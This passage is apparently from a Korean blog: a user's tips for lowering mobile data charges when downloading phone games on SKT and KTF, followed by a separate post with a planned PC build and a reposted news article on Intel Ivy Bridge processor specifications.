=> 앞서 말했듯이 하루 넘기면 하루치만큼의 데이터요금이 나오는데, 이렇게 금방금방 해지시키면 받은 용량만큼의 데이터요금이 나옵니다(굉장히 적은 금액입니다). 단, 너무 빨리 해지시키면 데이터 요금 할인이 적용되지 않을수도 있으니, 마지막으로 게임을 받고 나서 30분 후에 해지시키세요.



4) 해당 데이터 요금제를 해지시키면 30일 동안은 가입 불가능하다.

=> 그렇지만 데이터 요금제는 6가지나 있으니, 5일에 한번 꼴로 쓰든지 한달에 6번 쓰든지 하면 됩니다. 게임을 많이 다운 받을 때는 큰 요금제(안심데이터 190이나 데이터존프리 225는 한달에 데이터 2기가 비율)에 가입했다가 게임 받고 나서 30분 후에 해지시키고, 게임을 적게 다운 받을 때는 작은 요금제(안심데이터 100이나 데이터존프리 135는 한달에 데이터 500메가 비율. 단, 안심데이터 150은 1기가짜리이므로 게임을 여러개 다운 받을 때를 위하여 아껴둡시다.)에 가입했다가 게임 받고 나서 30분 뒤에 해지시킵시다.



3. 6가지 요금제를 모두 써버렸을 경우

=> 제가 설명한 6가지 데이터요금제는 한번 가입했다 해지하면 30일 동안은 재가입이 불가능합니다. 그래서 6가지 데이터 요금제를 한꺼번에 다 써버려서 쿨타임이 찰 때까지 기다려야 할 경우(....)에는 비상수단이 있습니다. (단, 재다운로드일 경우에 한함. 게임을 새로 받는 게 아니라, 이미 받은 것을 다시 보관함에서 재다운로드 받을 경우)



컴퓨터에서 인터넷 홈페이지 http://tword.co.kr 에 들어가서 my T world => 보관함 => m playon 보관함으로 들어갑니다. 거기에 보면 자신이 다운받은 게임이나 음악 등의 목록이 있을 겁니다. 아이콘 화면(썸네일) 그대로는 보기 불편하므로, <리스트로 보기>를 눌러줍시다. 그러면 자신이 언제 그 게임이나 음악을 받았는지가 나옵니다. SKT의 경우 보관기한은 6개월밖에 안됩니다(....). 참고로 예전에 제가 KT를 썼을 때는 보관기한이 무제한이었습니다;;;;



거기서 다운받기 버튼을 눌러두면 핸드폰으로 문자메시지가 옵니다. 그걸로 재다운로드가 가능한데, 데이터 요금이 상당히 할인되어서 받아집니다. 3000kb 게임의 경우 재다운로드비용이 몇백원 정도 나오더군요.(앞서 말한 6가지 데이터 요금제의 가입/해지 꼼수로 다운받을 경우에야 3000kb 게임은 몇십원이나 몇원 선에서 받을 수 있지만;;;;)


그리고 만약 여러분이 2011년 1월 5일에 <강철행성 모험활극>이라는 게임을 받았다면, http://tword.co.kr이나 자신의 핸드폰으로 접속한 게임보관함(접속메뉴에 보면 있습니다. 핸드폰 즐겨찾기에 꼭 추가해둡시다)에서 2011년 7월 5일까지는 재다운받을 수 있습니다. 하지만 게임을 받은 시간까지 따지기 때문에, 1월 5일 오후 1시 35분에 받았다고 치면 7월 5일 오후 2시에 받으려고 하면 이미 기간이 끝났기 때문에 게임보관함에서 사라져 있습니다;;; 실제로는 7월 4일 정도까지 유효하다고 보면 됩니다.



다시 말해, http://tword.co.kr 에서 재다운로드받는 방법은 6가지 데이터 요금제의 쿨타임이 안 찼을 경우, 급하게 한두개 받는 용도로 쓸만한 방법입니다. 건당 몇백원 선에서 끝나니까요. 물론 용량이 무지막지하게 큰 경우(7메가 게임이라든가;;;)에는 1000원 정도 나오겠네요. 왠만하면 데이터 요금제 재가입 쿨타임이 돌아오기까지 기다리는 게 좋습니다.



4. KTF의 경우

=> KTF의 게임보관함 보관 가능기한은 무제한입니다(지금은 바뀌었는지 어쨌는지 모르겠습니다. 몇년 전에 제가 KTF 쓸 때의 이야기입니다). 그리고 KTF에는 <데이프리 요금제>라는 통큰 데이터 요금제가 있습니다. 가입 후 밤 12시까지 데이터 통화료 무제한(....;;;;). 단, 밤 11시에 가입했을 경우 1시간 뒤인 밤 12시 땡 하면 끝나버립니다(....;;;). 밤 12시 30분이나 새벽 1시 정도에 가입해야 24시간을 거의 다 쓸 수 있는 거죠. 데이프리 요금제의 가격은 2000원. 밤 12시가 되면 자동해지되므로 강제해지할 필요는 없습니다.



그래서 KTF의 경우에는 한달에 한번씩 한꺼번에 몰아서 게임을 다운받거나 재다운받으면 되는 거죠(;;;;;;). 다만, 한달에 여러번 지르면 의미가 없습니다. (하루에 2000원씩이니, 데이터 정액제를 따로 가입하는 게 낫죠.) 그리고 제 기억으로는 KTF에서는 가입/해지 꼼수가 안통하는 걸로 알고 있습니다(....;;;;)



대신 인터넷의 게임보관함의 보관 가능기한이 무제한이기 때문에, 자신의 핸드폰 게임 보관함 용량이 60메가에 불과하다 하더라도 실제로는 그보다 많은 용량을 가지고 있는 셈입니다. 추억 속의 게임을 재다운로드 받아서 할 수도 있고, 게임 세이브 데이터를 네트워크로 저장한 다음에 그 게임을 지우고, 시간이 흐른 후에 다시 그 게임 재다운 받아서 세이브 데이터를 불러오면 되니까요.

(다만, 이 경우에는 게임 개발사나 유통사가 서버를 제대로 관리를 하고 있는 상황이어야 합니다. 거기서 <이 게임 다 팔아먹었다>고 간주하고 서버 관리 안하면 세이브 데이터 로드할 수가 없습니다;;;;)



작성자 : 지니레카( 핸드폰 게임 무진장 많이 다운받아본 녀석입니다;;;;;;)



블로그 : http://blog.naver.com/jinnyhyun.do http://jinnylexa.egloos.com



그리고 http://fancug.com





- 유용한 정보가 되었길 바랍니다. *_* + b



ps. tworld.co.kr 에서 9월 30일부터 10월 4일까지 서비스 점검한다고 합니다. ...그 기간 동안에 핸드폰에서 M고객센터로 접속하는 것은 할 수 있을지 잘 모르겠네요. 어쩌면 핸드폰에서는 되지만 인터넷 홈페이지에서는 이 기간동안 안 될 수도 있습니다;;



ps2. tworld.co.kr에서 한달에 100건씩 무료문자메시지를 줍니다. 꼭 체크해서 사용하세요. ...저는 전부터 이걸 알았지만 깜빡 잊어먹고 몇달동안 계속 안썼네요. 아까워라;;;



ps3. http://tworld.com 은 전혀 다른 외국 사이트입니다(....). http://tworld.co.kr 로 들어가야 SK텔레콤의 핸드폰 관리 사이트인 티월드가 나옵니다. 그리고 게임은 http://gxg.com 에서 찾아보세요. 네이버나 다음이나 다른 사이트 등의 게임 다운 홈페이지는 GXG처럼 체계적으로 업데이트가 안됩니다.(왜냐면 GXG가 SKT 핸드폰 공식 다운로드 홈페이지이기 때문입니다;;;;)



ps4. 앞으로 EA모바일코리아 게임은 GXG가 아니라 EA모바일코리아 홈페이지에 로그인해서 직접 다운로드 메시지를 받으세요. 그래야 EA모바일코리아 포인트가 쌓입니다. ......저는 EA모바일코리아에서 똑같은 게임을 여러번 받는 등 굉장히 많은 돈을 쏟아부었는데(SKT는 재다운로드 보관함 기한이 6개월밖에 안되서, 기간 지난 건 새로 받아야 하니까;;;) 포인트는 딸랑 <홈페이지 가입 포인트>뿐.



....어째서! ㅠ ㅠ



...여러분은 EA모바일코리아 게임의 경우 핸드폰에서 핸드폰 인터넷에 연결해서 직접 받거나 GXG 홈페이지에서 받지 말고, EA모바일코리아 홈페이지에 로그인해서 다운로드 메시지로 받으세요. 그래야 포인트가 쌓입니다(...지금까지 제가 받은 EA모바일코리아 게임을 그렇게 받았다면 각종 특전상품 - 검은방 노트라든가! 영웅서기 제로 한정 일러스트집이라든가! - 을 받았을 터인데;;;)

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스펙은 대충 이렇다

Antec 옐로우 케이스

i7 2600k

램 지스킬 17600 *8G 또는 삼성 10600인가 16기가로 할 생각이다.

보드 : p67 디럭스모델

파워 : 미정

그래픽 GTX 440 또는 460

[기사 원본]

[출처 : 보드나라]


인텔이 2012년 초 발표할 것으로 알려진 32nm 샌디브릿지 (Sandy Bridge) 후속 22nm 아이비브릿지 (Ivy Bridge) 프로세서의 달라진 부분에 대한 스펙 정보가 공개되었다는 소식이다.

 

인텔의 샌디브릿지를 이을 프로세서는 아이비브릿지로 알려진 가운데 그간 일부 정보들이 공개되고 있었던 가운데 최근 computerbase는 아이비브릿지가 지원하는 기능과 스펙에 대한 정보들을 공개했다.

 

 

 

아이비브릿지는 익히 알려져 있듯이 샌디브릿지의 22nm 공정 개선 버전으로 볼 수 있으나 내장 그래픽과 외장 그래픽 지원, USB 지원 등 많은 부분에서 변화가 이루어질 것으로 알려져 있다.

 

아이비브릿지는 샌디브릿지와 마찬가지로 x8 + x8 Lane (레인)으로 분할되어 멀티 GPU 기술을 지원하는데 대역폭이 기존보다 2배 더 늘어난 PCI-Express 3.0을 도입해 레인 수는 변화가 없어도 대역폭은 실질적으로 증가된다. 그외 코어 구성이나 메모리 지원, AVX 명령어, AES-NI 명령어 지원, 최대 코어 수는 쿼드코어로 나타나고 있으며, 최대 L3 8MB 캐쉬 (LLC, Last Level Cache)를 제공한다.

 

메모리 지원은 듀얼채널에 DDR3-1600MHz까지 지원되고 SATA2 (3Gbps)는 4포트, SATA3 (6Gbps)는 2포트를 지원해 기존 P67/ H67과 차이는 없는 것으로 확인되며, PCIe 2.0 x8 레인을 제공한다. 인텔 7시리즈 칩셋으로 알려진 Z77/ Z75/ H77은 FDI 인터페이스를 제공해 아이비브릿지 내장 그래픽 출력을 지원한다.

 

 

USB 지원에서도 코드명 Panther Point로 알려진 Z77/ Z75/ H77 칩셋들은 USB 3.0을 네이티브로 지원하게 되며, USB 2.0은 10개, USB 3.0은 4포트를 제공할 것으로 알려져 있다.

 

 

샌디브릿지 내장 그래픽은 HD Graphics 2000은 6EU (실행유닛, EU, Execution Units), HD Graphics 3000은 12EU (코어i5 2500K/ 2600K)를 내장했고 노트북용에는 12EU가 모두 내장되어 데스크탑용에서는 차이를 보였는데 아이비브릿지에 내장되는 그래픽은 6EU - 16EU 사이로 실행 유닛이 증가되어 처리 성능도 개선될 것으로 예상된다. DirectX 지원도 10.1 지원에 머물던 샌디브릿지 내장 그래픽과 달리 아이비브릿지 내장 그래픽은 DirectX 11을 지원하며, OpenGL 3.1과 OpenCL 1.1을 지원한다.

 

아이비브릿지 내장 그래픽은 인텔의 7세대 그래픽에 속하고 블루레이 (Blu-Ray) 프로파일 2.0 지원, 비디오 디코드와 인코딩을 위한 퀵싱크 (Quick Sync) 기술 등도 개선될 것으로 예상된다. 또한, 3개의 독립 디스플레이 출력도 지원할 것으로 알려져 있다.

 

코드명 라이트피크 (Light Peak)로 알려진 썬더볼트 (Thunderbolt)도 USB 3.0과 함께 지원될 것이라는 소식들도 전해지고 있으며, 인텔이 샌디브릿지에서도 공개한 무선 디스플레이 출력 기술도 Intel Wireless Display 3.0으로 업그레이드될 것으로 알려져 있다.

 

 

플랫폼도 기존 P67/ H67/ H61과 샌디브릿지가 Huron River 플랫폼을 구성했는데 아이비브릿지와 Z77/ Z75/ H77 칩셋은 Chief River 플랫폼을 구성할 것으로 나타났다. 샌디브릿지와 같이 LGA1155 소켓을 적용하며, 기존 P67/ H67/ H61, Z68 칩셋도 아이비브릿지를 바이오스 업데이트로 지원할 것으로 알려져 있다.

 

아이비브릿지의 터보 모드 지원 클럭 등에 대한 정보는 아직 공개되지 않고 있으나 샌디브릿지와 같이 CPU와 내장 그래픽 부분 모두 지원될 것으로 예상되며, 기술적으로 큰 변화는 없을 것으로 예상된다.

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